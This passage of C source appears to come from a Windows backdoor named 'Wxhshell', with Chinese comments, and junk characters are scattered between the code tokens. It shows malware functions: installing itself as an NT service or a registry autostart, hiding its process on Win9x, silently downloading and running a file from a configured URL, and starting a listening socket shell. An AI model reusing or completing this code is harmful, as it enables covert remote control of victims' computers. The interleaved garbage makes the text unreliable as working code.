hMod; "q3ZWNS'w char procName[255]; K@
I9^b unsigned long cbNeeded; (S>C#A=E\ ,0M_Bk" if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V(H1q`ao9 o_izl\ CloseHandle(hProcess); XWBA^|-N 9}rS(/@
} if(strstr(procName,"services")) return 1; // 以服务启动 5TH~.^`Fi ejSji-Qd return 0; // 注册表启动 ZF!h<h&, } (nQ^ p$S*dr // 主模块 94'&b=5+ int StartWxhshell(LPSTR lpCmdLine) y6(Z`lx { u|\1hLXX SOCKET wsl; 3#LlDC_WC BOOL val=TRUE; %z=le7 int port=0; E>6MeO struct sockaddr_in door; zVViLUwG 5%Y3 Kwyy if(wscfg.ws_autoins) Install(); {&&z-^ ?g_3 [Fk port=atoi(lpCmdLine); ; 5*&xz 7r6.n61F
if(port<=0) port=wscfg.ws_port; j\eI0b @* ">\?&0 WSADATA data; 'g}! if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <$D`Z-6 sA+ }TNhq if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /:cd\A} setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g@d*\ P) door.sin_family = AF_INET; {i;r door.sin_addr.s_addr = inet_addr("127.0.0.1"); M H|Og84 door.sin_port = htons(port); #|uCgdi )HEa<P^kJl if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ki;*u_4{ closesocket(wsl); g_;\iqxL return 1; "BM#4 } fW?vdYF P0;n9>g if(listen(wsl,2) == INVALID_SOCKET) { /p/]t,-j2 closesocket(wsl); |Tv#4st return 1; z<MsKD0Q } 9Gvd&U Wxhshell(wsl); s
n8Qk=K WSACleanup(); lov!o:dJ (Lbbc+1m return 0; =O~_Q- 4S7v:1~xe } J"0`%'*/ Sh/08+@+L: // 以NT服务方式启动 Lc}y<=P@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0HZ{Y9] { !Lu2 DWORD status = 0; ]}V<*f DWORD specificError = 0xfffffff; V.U|
#n5 Z3Og=XHR serviceStatus.dwServiceType = SERVICE_WIN32; wi!?BCseq serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?al'F q serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4VHn \ serviceStatus.dwWin32ExitCode = 0; &5>Kl}7 serviceStatus.dwServiceSpecificExitCode = 0; jVEGj5F;N serviceStatus.dwCheckPoint = 0; 0Fq}
N serviceStatus.dwWaitHint = 0; :a!^
T; 4NRC hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P?%s
#I: if (hServiceStatusHandle==0) return; F|`Hm
\__i status = GetLastError(); kpuz]a7pK if (status!=NO_ERROR) :@yEQ#nFp { Jx:Y-$ serviceStatus.dwCurrentState = SERVICE_STOPPED; A@`}c,G serviceStatus.dwCheckPoint = 0; L7l
FtX+b serviceStatus.dwWaitHint = 0; ]>!K3kB serviceStatus.dwWin32ExitCode = status; }H53~@WP> serviceStatus.dwServiceSpecificExitCode = specificError; oe^ I SetServiceStatus(hServiceStatusHandle, &serviceStatus); %mW{n8W3{ return; 59LG{R2 } Usvl}{L[ d z|or9& serviceStatus.dwCurrentState = SERVICE_RUNNING; -uS!\ serviceStatus.dwCheckPoint = 0; &bS,hbD t serviceStatus.dwWaitHint = 0; <|HV. O/! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h0EEpL|\ }
8$=n j ?d* z8w // 处理NT服务事件,比如:启动、停止 p:&8sO!m VOID WINAPI NTServiceHandler(DWORD fdwControl) "MeVE#O { ,CJWO bn3 switch(fdwControl) "69s)~ { a
.#)G[* case SERVICE_CONTROL_STOP: KS+'|q<?w serviceStatus.dwWin32ExitCode = 0; /WcG{Wdp serviceStatus.dwCurrentState = SERVICE_STOPPED; !t"4!3 serviceStatus.dwCheckPoint = 0; Z{*\S0^ST serviceStatus.dwWaitHint = 0; 7g^]:3f! { XPc^Tq SetServiceStatus(hServiceStatusHandle, &serviceStatus); [NTzcSN. } :
6jbt: return; .xCZ1|+gG case SERVICE_CONTROL_PAUSE: x>K Or,f serviceStatus.dwCurrentState = SERVICE_PAUSED; 4Z3su^XR break; 1C+13LE$U case SERVICE_CONTROL_CONTINUE: "Bkfoi serviceStatus.dwCurrentState = SERVICE_RUNNING; %UrueMEO break; g _9C* case SERVICE_CONTROL_INTERROGATE: v&\Q8!r_
break; w7L{_aom }; \
#F SetServiceStatus(hServiceStatusHandle, &serviceStatus); +Ze}B*0 } )D
O?VRI iI T;K@& // 标准应用程序主函数 iT+8|Yia int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #\{l"- { E_rI?t^ =jN.1} // 获取操作系统版本 b=C*W,Q_# OsIsNt=GetOsVer(); zpn9,,~u GetModuleFileName(NULL,ExeFile,MAX_PATH); ZvM(Q=^ <_L,t 1H{ // 从命令行安装 qz_7%c]K[ if(strpbrk(lpCmdLine,"iI")) Install(); LBeF&sb6 6q\bB // 下载执行文件 w{8xpAqm if(wscfg.ws_downexe) { j^sg6.Z* if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (XTG8W sN WinExec(wscfg.ws_filenam,SW_HIDE); k=$TGqQY? } ; nfdGB bW427B0 if(!OsIsNt) {
z_$% -6 // 如果时win9x,隐藏进程并且设置为注册表启动 BKCiIfkZ HideProc(); 5Pc;5
o0C StartWxhshell(lpCmdLine); ^CYl\.Y@ } Qp5VP@t else ;+R&}[9,A) if(StartFromService()) ma]F7dZ5 // 以服务方式启动 ZDJ`qJ8V StartServiceCtrlDispatcher(DispatchTable); ,Fl)^Gl8? else gx/,)> E. // 普通方式启动 =ZznFVJ`={ StartWxhshell(lpCmdLine); dES"@?!^ Evq IcZ return 0; !qQl@j O }
|